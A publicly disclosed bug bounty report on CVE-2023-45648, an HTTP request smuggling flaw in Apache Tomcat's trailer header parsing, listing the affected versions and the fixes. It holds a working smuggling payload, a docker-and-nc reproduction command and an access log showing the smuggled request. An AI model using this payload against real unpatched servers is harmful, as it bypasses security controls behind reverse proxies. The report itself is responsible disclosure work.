HexBrain

Internet Bug Bounty · Report #2299692

Request Smuggling in Apache Tomcat (Important, CVE-2023-45648)

Validstatus
highseverity
$4,660bounty
51upvotes
7 Feb 2024disclosed

Summary

[SECURITY] CVE-2023-45648 Apache Tomcat - Request Smuggling Severity: Important Vendor: The Apache Software Foundation

Versions Affected: Apache Tomcat 11.0.0-M1 to 11.0.0-M11 Apache Tomcat 10.1.0-M1 to 10.1.13 Apache Tomcat 9.0.0-M1 to 9.0.80 Apache Tomcat 8.5.0 to 8.5.93

Description: Tomcat did not correctly parse HTTP trailer headers. A specially crafted, invalid trailer header could cause Tomcat to treat a single request as multiple requests leading to the possibility of request smuggling when behind a reverse proxy.

Mitigation: Users of the affected versions should apply one of the following mitigations:

  • Upgrade to Apache Tomcat 11.0.0-M12 or later
  • Upgrade to Apache Tomcat 10.1.14 or later
  • Upgrade to Apache Tomcat 9.0.81 or later
  • Upgrade to Apache Tomcat 8.5.94 or later

Credit: This vulnerability was reported responsibly to the Tomcat security team by Keran Mu and Jianjun Chen from Tsinghua University and Zhongguancun Laboratory.

History: 2023-10-10 Original advisory

Full Security Advisory: https://lists.apache.org/thread/2pv8yz1pyp088tsxfb7ogltk9msk0jdp

How it was found

Apache Tomcat supports Trailer Section. However, we found that in version prior than 11.0.0-M11, 10.1.13, 9.0.80, 8.5.93, Apache Tomcat cannot properly parse the trailer section if there's no colon in the trailer header's line. It will skip the following lines until the last line with a valid colon-separated key-value header pair, which can be leveraged to perform HTTP request smuggling.

If we send the following payload, the headers of the second request (Line 12-15) will be regarded as the trailer section of the first request, while the content of the second request (Line 17-19) is processed as the second request. When sending this payload to other HTTP implementations such as NGINX, Line 12-21 would be the second request.

POST /benign_path HTTP/1.1
Host: a.com
Connection: keep-alive
Transfer-Encoding: chunked

5
12345
0
Content: hello
a

POST /benign_path HTTP/1.1
Host: a.com
Connection: keep-alive
Content-Length: 37

GET /evil_path HTTP/1.1
Any: any
Host: b.com


Reproduce:

docker run -d --name hrs_tomcat_11 -p 43022:8080 tomcat:10.1.13
echo -n 'POST /benign_path HTTP/1.1\r\nHost: a.com\r\nConnection: keep-alive\r\nTransfer-Encoding: chunked\r\n\r\n5\r\n12345\r\n0\r\nContent: hello\r\na\r\n\r\nPOST /benign_path HTTP/1.1\r\nHost: a.com\r\nConnection: keep-alive\r\nContent-Length: 37\r\n\r\nGET /evil_path HTTP/1.1\r\nAny: any\r\nHost: b.com\r\n\r\n' | nc 127.0.0.1 43022
docker exec -it hrs_tomcat_11 /bin/sh -c "cat /usr/local/tomcat/logs/localhost*"

Access log:

192.168.215.1 - - [30/Dec/2023:10:42:00 +0000] "POST /benign_path HTTP/1.1" 404 683
192.168.215.1 - - [30/Dec/2023:10:42:00 +0000] "GET /evil_path HTTP/1.1" 404 683

The screenshot of emails between Apache Tomcat Security Team and me is uploaded as the attachment.

Impact

It can be leveraged to perform HTTP request smuggling in order to bypass security mechanisms when Apache Tomcat is deployed behind a reverse proxy.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original